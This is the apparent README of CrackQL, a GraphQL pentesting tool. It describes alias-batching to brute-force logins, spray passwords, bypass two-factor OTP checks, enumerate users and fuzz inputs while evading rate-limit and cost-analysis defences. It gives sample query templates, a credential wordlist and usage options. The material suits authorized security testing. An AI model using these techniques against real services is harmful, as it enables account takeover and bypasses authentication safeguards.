CrackQL is a GraphQL password brute-force and fuzzing utility.
CrackQL is a versatile GraphQL penetration testing tool that exploits poor rate-limit and cost analysis controls to brute-force credentials and fuzz operations.
CrackQL works by automatically batching a single GraphQL query or mutation into several alias operations. It determines the number of aliases to use based on the CSV input variables. After programmatically generating the batched GraphQL document, CrackQL then batches and sends the payload(s) to the target GraphQL API and parses the results and errors.
CrackQL can be used for a wide range of GraphQL attacks since it programmatically generates payloads based on a list of dynamic inputs.
Unlike Burp Intruder which sends a request for each unique payload, CrackQL evades traditional API HTTP rate-limit monitoring defenses by using multiple alias queries to stuff large sets of credentials into single HTTP requests. To bypass query cost analysis defenses, CrackQL can be optimized into using a series of smaller batched operations (-b) as well as a time delay (-D).
CrackQL is perfect against GraphQL deployments that leverage in-band GraphQL authentication operations (such as the GraphQL Authentication Module). The below password spraying example works against DVGA with the sample-inputs/users-and-passwords.csv dictionary.
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
It is possible to use CrackQL to bypass two-factor authentication by sending all OTP (One Time Password) tokens
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
CrackQL can also be used for enumeration attacks to discover valid user ids, usernames and email addresses
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
CrackQL could be used to iterate over a large number of potential unique identifiers in order to leak object information
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
CrackQL can be used for general input fuzzing operations, such as sending potential SQLi and XSS payloads.
CrackQL will generate payloads based on input variables defined by a CSV file. CrackQL requires the CSV header to match the input name.
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloat
- Python3
- Requests
- GraphQL
- Jinja
git clone git@github.com:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
Use config.py to set HTTP cookies, headers or proxies if the endpoint requires authentication.